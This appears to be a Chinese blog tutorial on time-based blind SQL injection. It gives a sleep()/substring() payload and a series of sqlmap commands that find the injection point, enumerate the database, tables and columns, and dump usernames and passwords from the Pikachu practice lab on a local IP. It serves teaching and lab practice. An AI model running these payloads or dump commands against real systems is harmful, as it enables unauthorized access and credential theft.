【网络安全】SQL注入--时间注入

边缘拼命划水的小陈

已于 2023-04-07 19:23:05 修改

阅读量844

点赞数

CC 4.0 BY-SA版权

分类专栏：网络安全文章标签： web安全数据库 mysql

于 2023-04-06 19:23:19 首次发布

本文链接：https://blog.youkuaiyun.com/qq_41158271/article/details/129994563

网络安全专栏收录该内容

20 篇文章

订阅专栏

本文详细介绍了如何利用sqlmap工具进行时间注入攻击，包括检查注入点、获取数据库名、表名、字段名以及具体数据，主要涉及函数sleep()、substring()和if()，并提供了针对MySQL数据库的示例命令。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

时间注入

- 利用原理
- - 使用sqlmap进行注入

利用原理

主要利用的函数
sleep()
substring()
if()

例子：

1' and if(substring((select * from students limit1),1,1)='a',sleep(5),0)
#当条件满足时，进行睡眠

使用sqlmap进行注入

1.查询是否存在时间注入

sqlmap -u "192.168.0.106/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --dbms mysql

在这里插入图片描述

2.获取数据库名称

sqlmap -u "192.168.0.106/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --dbms mysql --current-user --current-db --batch

-p: 指定的检测方式
-u: 指定url
-v:显示调试模式
--dbms:指定数据库
--technique=T:使用时间注入方式
--current-user:获取当前用户
--current-db:获取当前使用的数据库
--batch: 使用默认模式自动为y

在这里插入图片描述

3.获取表名

sqlmap -u "192.168.0.106/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --tables -D pikachu --batch

-D：指定数据库名称
--tables： 获取所有的表

在这里插入图片描述

4.获取字段名

sqlmap -u "192.168.0.106/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --columns -D pikachu -T users --batch

-T:指定表名
--columns:获取所有的字段

在这里插入图片描述

5.获取账号密码

sqlmap -u "192.168.0.106/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T -D pikachu -T users -C 'username,password' --dump --batch --thread 10

--dump：
-C:指定字段
--threads:指定线程数

在这里插入图片描述